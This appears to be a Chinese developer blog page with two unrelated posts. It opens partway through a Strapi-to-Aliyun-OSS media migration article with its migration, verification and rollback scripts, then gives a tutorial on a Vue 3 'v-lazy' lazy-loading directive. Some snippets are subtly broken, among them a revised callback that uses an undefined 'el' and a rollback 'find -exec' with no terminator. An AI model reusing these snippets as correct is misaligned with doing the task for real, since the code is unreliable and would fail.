          const formatFile = path.basename(formats[key].url);
          const formatPath = resolveLocalFilePath(formats[key].url);
          if (fs.existsSync(formatPath)) {
            try {
              const formatKey = `${uploadPath}/${formatFile}`;
              await uploadToOss(formatPath, formatKey);
              formats[key].url = buildOssUrl(formatFile);
            } catch (err) {
              console.warn(`⚠️ 格式图上传失败 (${key}, ID: ${id})`);
            }
          }
        }
      }
      newFormats = JSON.stringify(formats);
    } catch (e) {
      console.warn(`⚠️ 格式字段解析失败 (ID: ${id})`);
    }
  }

  // 更新数据库记录
  const updateQuery = `
    UPDATE files
    SET url = ?, preview_url = ?, provider = ?, formats = ?
    WHERE id = ?
  `;
  db.run(
    updateQuery,
    [
      updatedFields.url,
      updatedFields.preview_url || null,
      updatedFields.provider,
      newFormats,
      id,
    ],
    (err) => {
      if (err) {
        console.error(`❌ 数据库更新失败 (ID: ${id})`, err.message);
      } else {
        console.log(`✅ 文件记录更新成功 (ID: ${id})`);
      }
      console.log(`📦 已处理文件记录 (ID: ${id}),原文件已迁移到 done 目录`);
    }
  );
}

// 主迁移函数
async function migrate() {
  console.log('🚀 开始迁移Strapi媒体文件到OSS');
  console.log(`📁 媒体目录: ${mediaBasePath}`);
  console.log(`🌐 OSS存储路径: ${ossBaseUrl}/${uploadPath}`);
  
  const query = `SELECT * FROM files WHERE provider = 'local'`;

  db.all(query, async (err, rows) => {
    if (err) {
      console.error("❌ 查询文件表失败:", err.message);
      return;
    }

    console.log(`🔍 发现 ${rows.length} 个待迁移文件`);
    
    // 使用Promise Pool控制并发
    const { PromisePool } = require('@supercharge/promise-pool');
    const { errors } = await PromisePool
      .for(rows)
      .withConcurrency(5) // 并发数控制
      .process(async (file) => {
        await migrateFileRecord(file);
      });

    if (errors && errors.length > 0) {
      console.error(`❌ 迁移完成,但有 ${errors.length} 个错误`);
      errors.forEach(error => console.error(error));
    } else {
      console.log("🎉 所有文件迁移成功!");
    }
    
    // 生成迁移报告
    const report = {
      total: rows.length,
      succeeded: rows.length - errors.length,
      failed: errors.length,
      timestamp: new Date().toISOString()
    };
    
    fs.writeFileSync('migration-report.json', JSON.stringify(report, null, 2));
    console.log(`📊 迁移报告已保存: migration-report.json`);
  });
}

// 执行迁移
migrate();

.env配置文件示例

# .env
REGION=oss-cn-hangzhou
BUCKET=your-bucket-name
ACCESS_KEY_ID=your-access-key-id
ACCESS_KEY_SECRET=your-access-key-secret
STRAPI_DB_PATH=/path/to/strapi.db
MEDIA_BASE_PATH=/path/to/strapi/public/uploads
BASE_URL=https://your-cdn-domain.com
UPLOAD_PATH=strapi-media

Strapi OSS插件配置

// ./config/plugins.js
module.exports = ({ env }) => ({
  upload: {
    config: {
      provider: 'strapi-provider-upload-ali-oss',
      providerOptions: {
        accessKeyId: env('ALI_OSS_KEY_ID'),
        accessKeySecret: env('ALI_OSS_KEY_SECRET'),
        region: env('ALI_OSS_REGION'),
        bucket: env('ALI_OSS_BUCKET'),
        baseUrl: env('ALI_OSS_BASE_URL'),
        prefix: 'strapi-media',
        secure: true, // 强制HTTPS
        timeout: 60000 // 上传超时时间
      }
    }
  }
});

迁移后验证脚本

// verify-migration.js
require("dotenv").config();
const sqlite3 = require("sqlite3").verbose();
const OSS = require("ali-oss");

const client = new OSS({
  region: process.env.REGION,
  bucket: process.env.BUCKET,
  accessKeyId: process.env.ACCESS_KEY_ID,
  accessKeySecret: process.env.ACCESS_KEY_SECRET,
});

const db = new sqlite3.Database(process.env.STRAPI_DB_PATH);

async function verifyMigration() {
  console.log("🔍 开始验证迁移结果...");
  
  // 检查数据库记录
  const dbQuery = `SELECT COUNT(*) as total, 
                  SUM(CASE WHEN provider = 'oss' THEN 1 ELSE 0 END) as oss_count
                  FROM files`;
  
  db.get(dbQuery, async (err, row) => {
    if (err) {
      console.error("❌ 数据库查询失败:", err);
      return;
    }
    
    console.log(`📊 数据库统计: 总记录 ${row.total}, OSS记录 ${row.oss_count}`);
    
    if (row.total !== row.oss_count) {
      console.error(`❌ 错误: 有 ${row.total - row.oss_count} 条记录未迁移`);
    }
    
    // 检查OSS文件数量
    try {
      const list = await client.list({
        prefix: process.env.UPLOAD_PATH,
        'max-keys': 1000
      });
      
      console.log(`📦 OSS文件数量: ${list.objects.length}`);
      
      if (list.objects.length < row.total) {
        console.warn(`⚠️ 警告: OSS文件数(${list.objects.length})少于数据库记录(${row.total})`);
      }
      
      // 随机抽查文件
      const randomFile = list.objects[Math.floor(Math.random() * list.objects.length)];
      console.log(`🔗 随机文件测试: ${randomFile.url}`);
      
      try {
        const result = await client.head(randomFile.name);
        console.log(`✅ 文件访问正常: ${randomFile.name} (${result.res.size} bytes)`);
      } catch (headErr) {
        console.error(`❌ 文件访问失败: ${randomFile.name}`, headErr.message);
      }
      
    } catch (ossErr) {
      console.error("❌ OSS查询失败:", ossErr);
    }
  });
}

verifyMigration();

回滚脚本

#!/bin/bash
# rollback-migration.sh

# 加载环境变量
source .env

# 配置参数
OSS_PATH="oss://$BUCKET/$UPLOAD_PATH"
LOCAL_BACKUP="./backup-$(date +%Y%m%d)"

echo "⏪ 开始回滚迁移..."

# 1. 从OSS下载文件
echo "⬇️ 从OSS下载文件到: $LOCAL_BACKUP"
aliyun oss cp "$OSS_PATH" "$LOCAL_BACKUP" --recursive

# 2. 恢复文件到原始目录
echo "🔄 恢复本地文件..."
find "$LOCAL_BACKUP" -type f -exec cp {} "$MEDIA_BASE_PATH" ;

# 3. 恢复数据库记录
echo "💾 恢复数据库记录..."
sqlite3 "$STRAPI_DB_PATH" <<EOF
UPDATE files SET 
  url = REPLACE(url, '$BASE_URL/$UPLOAD_PATH', '/uploads'),
  preview_url = CASE 
    WHEN preview_url IS NOT NULL THEN REPLACE(preview_url, '$BASE_URL/$UPLOAD_PATH', '/uploads')
    ELSE NULL 
  END,
  provider = 'local',
  formats = CASE 
    WHEN formats IS NOT NULL THEN REPLACE(formats, '$BASE_URL/$UPLOAD_PATH', '/uploads')
    ELSE NULL 
  END
WHERE provider = 'oss';
EOF

echo "✅ 回滚完成!"
echo "原始文件位置: $MEDIA_BASE_PATH"
echo "备份文件位置: $LOCAL_BACKUP"

vue优化 自定义指令实现懒加载

2025年7月3日 16:46

前言

今天搞首页优化的时候,发现首页有很多内容,需要用户向下滚动才会看到,这部分内容包括很多图片、组件、请求,这些请求其实都可以等到用户可见时再开始加载的,因为之前没有做处理,首页一加载弹出了一堆网络请求,这些网络请求和首页关键资源一起加载,争抢带宽,拖慢了关键资源的加载速度。

设计

首先就是想清楚我的需求。我要做到的是懒加载资源,就是用户能看到的时候才加载相应的资源,这里用户能看到也就是进入可视区范围内。

这个可以通过IntersectionObserver API实现,因为IntersectionObserver会自动监听dom是否移动到可视区范围,监听到之后会调用callback执行,这里的callback我传递一个加载资源的函数就可以了,这样,当移动到可视区范围内我就可以动态加载资源了。

因为项目中需要这样懒加载的资源很多,并且分布在不同位置,不可能每个都手动去写代码实现,所以我想要一个通用的并且能用很少的代码就应用在不同目录下的vue文件中,那这个可以用组件或自定义指令去实现

当然这两种方案都可以,我这里选择自定义指令,因为用起来代码会更少,更方便一点。

自定义指令就叫v-lazy,在dom标签上我可以规定这样使用:

<!-- 图片懒加载 -->
<img v-lazy="()=>import("@/assets/images/...")" />

<!-- 组件懒加载 可以配合异步组件实现 -->
<div v-lazy="()=>show.value=true">
  <ProductList v-if="show"/>
</div>

<!-- 延迟请求接口数据 -->
<div v-lazy="getListData">
  <ul>
    <li v-for="item in List">{{item}}</li>
  </ul>
</div>

只用传递一个方法告诉v-lazy指令,当目标元素出现在可视区时才执行就行了,接下来开始着手实现v-lazy指令

注:因为项目式Vue3,所以整体代码采用vue3写法,如果项目是Vue2的话,用Vue2实现也可以,毕竟思路是相通的。

v-lazy实现

跟大象装进冰箱一样,大部分的逻辑实现都可以简单划分成三步,每一步带着目的去完成,这样一步一步到完成核心代码, 最后再进行一些边边角角的修补

现在把 v-lazy 指令实现简按划分成三个步骤:

  1. 拿到自定义指令绑定的方法,也就是要执行的函数,存储起来。

  2. 通过IntersectionObserver监听目标元素是否进入可视区范围。

  3. 当目标元素进入可视区范围时,就取出存储的函数,执行。

这样一看是不是简单多了,只需要按顺序完成上面三个步骤,我们就实现了v-lazy指令。

第一步

首先完成第一步,通过binding参数可以拿到函数,接下来如何存储呢,平常的Object肯定不行,因为Object的key只能是字符串,但是这里的key应该和目标元素联系起来,目标元素是一个dom,不能存在Object里.

那可以用Map,因为Map的key可以是任意类型,包括对象,我们可以用Map存储起来。

但是WeakMap用在这里好像会更好一点,因为WeakMap的key也可以是任意类型,并且WeakMap的key是弱引用,也就是说如果key所对应的对象没有其他引用,那么这个key就会被自动回收,用在这里正好合适, 用dom元素作为key,dom元素如果不存在了,对应的key也会被自动回收,不会造成内存泄漏,省掉了手动删除key的麻烦。虽然WeakMap不能遍历,但是我这里不用遍历啊,只用通过key存和取就行了。

既然这样,那选定WeakMap来存储函数。

第一步具体实现:

// 存储函数的WeakMap
const weakMap = new WeakMap()

// 自定义指令
export default {
  mounted(el, binding, vnode) {
    // 拿到函数
    const fun = binding.value
    // 存储函数
    weakMap.set(el, fun)
  },
}

就这样,我通过binding.value拿到了自定义指令绑定的函数,并且用WeakMap存储起来了,key是dom元素,value是函数,这样我想用的时候就可以通过dom元素找到对应的函数了。

第二歩

接下来,要监听dom元素是否进入可视区范围,这就需要用到IntersectionObserver了.

可能有些人对IntersectionObserver有些遗忘, 先来复习一下。

IntersectionObserver是一个交叉观察器,可以用来监听元素是否进入可视区范围,这个构造函数接收一个callback参数,callback是一个函数,会在监听的目标元素可见和不可见时触发

const io=new IntersectionObserver((entries)=>{
  entries.forEach((entrie) => {
    // 操作
  })
})

// 监听目标元素
io.observe(document.getElementById('container'))
// 停止监听
io.unobserve(document.getElementById('container'))

这个callback函数接收一个参数(entries),entries是一个数组,里面存放了一组IntersectionObserverEntry对象,每一个IntersectionObserverEntry对象对应一个被观察的目标元素,有几个观察元素,就会有几个IntersectionObserverEntry对象.

IntersectionObserverEntry对象有一些属性,我这里着重讲一下intersectionRatio属性,因为待会会用到.

intersectionRatio是一个0-1之间的数字。如果目标元素进入可视区,就会和可视区有一个重叠区域,也就是交叉区域,intersectionRatio表示的就是交叉区域占目标元素的比例,如果目标元素还没进入可视区,intersectionRatio就是0,如果完全进入可视区,intersectionRatio就是1

了解完IntersectionObserver之后我们开始实现第二歩,监听元素是否进入可视区

第二歩具体实现:

const weakMap = new WeakMap()

// ---------- 第二歩 ------------------------

// 元素进入可视区 要执行的callback
function lazyEnter(entries) {
  entries.forEach((entrie) => {
    if (entrie.intersectionRatio > 0) {
      
    }
  })
}
const lazy = new IntersectionObserver(lazyEnter)

// ------------------------------------------

export default {
  mounted(el, binding, vnode) {
    const fun = binding.value
    weakMap.set(el, fun)

// ---------- 第二歩 -------------------------
    lazy.observe(el)
// ------------------------------------------
  },
}

这样我们通过IntersectionObserver完成了自动监听目标元素是否进入可视区,一旦进入可视区就会执行lazyEnter方法。

细心的你肯定发现了 if (entrie.intersectionRatio > 0) 这个判断. 为什么要加入这个判断? 因为执行lazy.observe(el)开始监听元素时,无论元素可不可见,lazy的回调都会被调用一次,所以我们要加入这个判断,只有元素进入可视区才执行操作。

第三歩

我们已经开始监听元素是否可见了,下一步就是在元素可见时取出之前存储的函数并执行了,也就是在lazyEnter函数中取出函数并执行。

之前通过el作为key,存储了函数,现在也需要通过el取出函数,但是之前是在自定义指令的钩子函数mounted中拿到的el,现在在lazyEnter如何拿到? 正好IntersectionObserverEntry对象中提供了这个属性——target,是监听的目标元素,通过这个属性我们就可以拿到之前存储的函数了。

第三步具体实现:

const weakMap = new WeakMap()

function lazyEnter(entries) {
  entries.forEach(async (entrie) => {
    if (entrie.intersectionRatio > 0) {
// ---------- 第三歩 ------------
      // 取出函数
      const el=entrie.target
      const fun = weakMap.get(el)

      // 图片懒加载要设置src属性 需要特殊处理
      const isImg = el.tagName === "IMG"

      if(isImg){
        el.src=(await fun()).default
      }else{
        // 执行函数
        fun()
      }

      // 停止监听
      lazy.unobserve(el)
// ------------------------
    }
  })
}

const lazy = new IntersectionObserver(lazyEnter)


export default {
  mounted(el, binding, vnode) {
    const fun = binding.value
    weakMap.set(el, fun)
    lazy.observe(el)
  },
}

到这里基本就完成了v-lazy的实现,需要说明的是图片处理部分,因为之前设计v-lazy时,对于图片是这样使用的:

<img v-lazy="()=>import("@/assets/images/...")" />

也就是说这个函数只是动态引入了图片,对于图片加载成功并显示出来,还需要将引入的图片链接设置到src属性上,当然也可以将这部分逻辑抽离出来作为函数传递,比如:

// 处理图片加载成功的函数
async function lazyImg(el) {
  const img = await import("@/assets/images/...")
  el.src = img
}

<img v-lazy="lazyImg" />

相应的自定义指令也需要修改lazyEnter的部分代码:

function lazyEnter(entries) {
  entries.forEach(async (entrie) => {
    if (entrie.intersectionRatio > 0) {
// ---------- 第三歩 ------------
      // 取出函数
      const el = entrie.target
      const fun = weakMap.get(el)

      // 执行函数
      fun(el)

      // 停止监听
      lazy.unobserve(el)
// -----------------------------
    }
  })
}

这样做虽然 v-lazy 指令是优美一点, 但是加大了使用开销,每次在img上使用v-lazy都需要重写一遍逻辑,如果项目中使用了很多图片,那这部分代码的累积起来还是很恐怖的,所以我还是更偏向前一种.

图片布局抖动问题

v-lazy 已经基本实现,但是还有一些问题需要精益求精一下。

图片布局抖动问题,是因为一开始没有给图片设置宽高,导致图片资源获取完成后撑开图片,让图片高度从无到有,造成布局抖动。

对于这个问题,只需要给图片预留空间就可以解决,也就是给图片一个占位,不会影响到其他元素,这样就不会造成布局抖动的情况了。

给图片预留空间要分两种情况讨论,一种是非响应式布局,一种是响应式布局。

对于非响应式布局,图片宽高一般不会变化,这样可以给图片容器设置一个固定宽高,这个宽高可以是图片等比例宽高,也可以自定义宽高,自定义宽高最好搭配cssobject-fit: cover让图片自适应.

对于响应式布局,因为布局是变化的,所以大部分图片是随父元素宽度变化的,在css上通常是下面这样的:

img{
  width:100%;
  height:auto;
}

这样的图片没有固定的宽高,而是随父元素宽度自动变化,为了给这个图片一个占位空间,就需要一个和图片同比例的容器,并且能够和图片一样根据父元素宽度变化而保持比例变化

通过给padding-top设置百分比可以实现这样的图片容器,因为padding-top:xx%中的百分数是根据父元素的宽度计算的,类似padding-top:50%,就是一个2:1的盒子,并且这个比例会随宽度变化保持不变,所以只需要传递图片的宽高再加以计算就可以得到一个和图片比例保持一致的图片容器,封装成组件IpImage:

<template>
  <div class="img" :style="{ 'padding-top': paddingTop }">
    <div class="container">
      <slot></slot>
    </div>
  </div>
</template>

<script setup>
// 引入四舍五入函数,默认取小数点后两位
import { roundToDecimal } from "../../utils/tools"

const props = defineProps({
  width: Number,
  height: Number,
})
const { width, height } = props

const paddingTop = roundToDecimal(height / width) * 100 + "%"

</script>

<style lang="less" scoped>
.img {
  width: 100%;
  position:relative;
  .container{
    position: absolute;
    inset: 0;
  }
}
</style>

假设我有一张500*400的图片,我就可以把图片包裹起来,形成一个占位,这样就不会造成布局抖动了:

<IpImage :width="500" :height="400">
  <img v-lazy="()=>import('@/assets/images/...')" alt="">
</IpImage>

图片srcset和sizes

为了适应不同屏幕分辨率的设备,img提供了srcset和sizes属性,使得可以根据设备的分辨率使用不同的分辨率的图片.

但是我们之前实现的v-lazy指令并不支持响应式图片,只会动态导入一张指定的图片,这样在高分辨率设备上图片就会显示得很模糊,为了解决这个问题,我们必须重新设计v-lazy,从而使v-lazy支持响应式图片.

仔细思考之后,我发现之前img标签的用法其实还是会加重使用负担,要写一段import引入代码,并且不太符合原生img标签的写法,或许我们可以直接这样使用:

<img
  v-lazy
  sizes="(max-width:768px) 764px,382px"
  src="@/assets/images/home/banner.png"
  srcset="@/assets/images/home/banner.png 382w, 
    @/assets/images/home/banner@2x.png 764w, 
    @/assets/images/home/banner@3x.png 1128w"
/>

只用加一个v-lazy指令就可以了, 这样使用的话, 和我们原来没有懒加载时的用法也是一模一样. 并且可读性更好, 很容易就知道这个img标签是懒加载的.

仔细思考良久,对于如何实现这个用法,并且保持懒加载功能,我有两个想法:

  1. 在这个img标签挂载之前拦截挂载,然后在可见时再挂载
  2. 拦截属性,在挂载之前拿到几个属性,存起来,可见时在重新设置上去

第一个想法,好像vue也没提供拦截挂载的方案,只能控制显示隐藏, 即使给img标签设置display:none,浏览器还是会正常加载其中的图片资源. 没办法那只能从第二个想法入手了, 第二个想法实现起来就简单多了, 因为vue自定义指令提供了挂载dom之前的钩子函数beforeMount, 我只用在这里把属性拦截下来, 在目标元素可见时再把属性添加到元素上就可以了.

具体实现(省略不作修改的代码):

const weakMap = new WeakMap()

function lazyEnter(entries) {
  entries.forEach(async (entrie) => {
    if (entrie.intersectionRatio > 0) {
      // ----------------这里有修改-------------------
      const fun = weakMap.get(entrie.target)

      await fun()

      lazy.unobserve(el)
      // ----------------------------------------------
    }
  })
}

const lazy = new IntersectionObserver(lazyEnter)

export default {
  // ----------------这里有新添加的代码-------------------
  beforeMount(el, binding, vnode) {
    if (!binding.value && vnode.type === "img") {
      const { sizes = "", src = "", srcset = "" } = vnode.props

      // 拦截属性
      el.removeAttribute("sizes")
      el.removeAttribute("src")
      el.removeAttribute("srcset")

      // 在目标元素可见时 执行这个函数 把属性添加到元素上
      const fun = () => {
        sizes && el.setAttribute("sizes", sizes)
        src && el.setAttribute("src", src)
        srcset && el.setAttribute("srcset", srcset)
      }
      binding.value = fun
    }
  },
  // ----------------------------------------------
  mounted(el, binding, vnode) {
    const fun = binding.value
    weakMap.set(el, fun)
    lazy.observe(el)
  },
}

这样通过 拦截属性, 再添加属性 的方式就支持了响应式图片, 并且保留了懒加载的功能.

顺便提一嘴

实际上img标签本身也提供了loading属性支持懒加载, 上面的灵感也是来自于这个属性的用法, 例如这样:

<img
  loading='lazy'
  sizes="(max-width:768px) 764px,382px"
  src="@/assets/images/home/banner.png"
  srcset="@/assets/images/home/banner.png 382w, 
    @/assets/images/home/banner@2x.png 764w, 
    @/assets/images/home/banner@3x.png 1128w"
/>

对于 loading='lazy' MDN上是这样描述的:

延迟加载图像,直到它和视口接近到一个计算得到的距离(由浏览器定义)。目的是在需要图像之前,避免加载图像所需要的网络和存储带宽。这通常会提高大多数典型用场景中内容的性能。

一开始我也是准备用loading属性的, 但是实际测试时我发现我的Edge浏览器不支持这个属性, 更新了一下浏览器后倒是可以了, 然后查了一下兼容性, 发现loading='lazy'属性的兼容性比IntersectionObserver API要差很多, 最后果断放弃了.

兼容性问题

现代浏览器已经广泛支持 IntersectionObserver API, 支持vue3的浏览器大多都支持这个API, 如果要用vue2实现上面的v-lazy指令然后考虑兼容性 或者 兼容支持vue3不支持IntersectionObserver API的这类浏览器, 为了不用大范围修改v-lazy指令的代码, 那就用scroll+getBoundingClientRect手搓一个简单版的IntersectionObserver吧, 其实我们实现的v-lazy指令只用到了IntersectionObserver API 的一点点方法和属性, 实现起来也不难.

用到的方法:

  • observe()
  • unobserve()

用到的属性:

  • intersectionRatio
  • target

贴一下我用scroll+getBoundingClientRect实现的简单版IntersectionObserver, 提供一个思路

// 引入防抖 和 节流 方法
import { debounce, throttle } from "@/utils/tools"

class MyIntersectionObserver {
  constructor(callback) {
    this.callback = callback
    this.targets = new Map()

    this.debounceCheckIntersections = debounce(this.checkIntersections.bind(this), 50)
    this.throttleCheckIntersections = throttle(this.checkIntersections.bind(this), 100)

    // 监听滚动和调整大小事件
    window.addEventListener("scroll", this.throttleCheckIntersections, true)
    window.addEventListener("resize", this.throttleCheckIntersections, true)
  }

  // 获取根元素的边界矩形
  getRootRect() {
    return {
      top: 0,
      left: 0,
      bottom: window.innerHeight,
      right: window.innerWidth,
      width: window.innerWidth,
      height: window.innerHeight,
    }
  }

  // 检查目标元素与根元素的相交情况
  checkIntersections() {
    const rootRect = this.getRootRect()

    const entries = []

    for (const [target, _] of this.targets) {
      const targetRect = target.getBoundingClientRect()

      
      // 根元素 和 目标元素是否相交
      const isIntersecting =
        (0 < targetRect.top && targetRect.top < rootRect.bottom) || (0 < targetRect.bottom && targetRect.bottom < rootRect.bottom)

      // 交叉区域
      const intersectionRect = {
        top: isIntersecting ? Math.max(rootRect.top, targetRect.top) : 0,
        left: isIntersecting ? Math.max(rootRect.left, targetRect.left) : 0,
        bottom: isIntersecting ? Math.min(rootRect.bottom, targetRect.bottom) : 0,
        right: isIntersecting ? Math.min(rootRect.right, targetRect.right) : 0,
      }

      intersectionRect.width = Math.max(0, intersectionRect.right - intersectionRect.left)
      intersectionRect.height = Math.max(0, intersectionRect.bottom - intersectionRect.top)

      const targetArea = targetRect.width * targetRect.height
      const intersectionArea = intersectionRect.width * intersectionRect.height

      // 交叉区域 占目标元素的比例 
      // 注意: 图片还不可见时, 没有加载资源, 也就没有高度, 相交区域也为0, 但是实际上img可能已经进入可视区了, 需要特殊判断一下
      const intersectionRatio = targetArea > 0 ? intersectionArea / targetArea : isIntersecting ? 1 : 0

      entries.push({
        target,
        intersectionRect,
        intersectionRatio,
        boundingClientRect: targetRect,
        isIntersecting,
        time: Date.now(),
      })
    }

    // 有元素可见才触发callback, 实际上IntersectionObserver API不可见时也会触发一次,但是v-lazy没有用到不可见的这次触发,所以不用管
    if (entries.some((item) => item.intersectionRatio > 0)) {
      this.callback(entries)
    }
  }

  observe(target) {
    if (!this.targets.has(target)) {
      this.targets.set(target, true)

      // 因为可能有的元素一开始就在可视区 但是添加的监听只有触发scroll事件才会检查相交情况
      // 所以需要等待所有元素都添加监听完成后再统一执行一次 checkIntersections 方法,检查相交情况
      // 这里利用防抖可以实现, 因为防抖在一段时间内高频触发只会执行最后一次
      this.debounceCheckIntersections()
    }
  }

  unobserve(target) {
    this.targets.delete(target)
  }

  disconnect() {
    this.targets.clear()
    window.removeEventListener("scroll", this.throttleCheckIntersections)
    window.removeEventListener("resize", this.throttleCheckIntersections)
  }
}

export default MyIntersectionObserver
❌
❌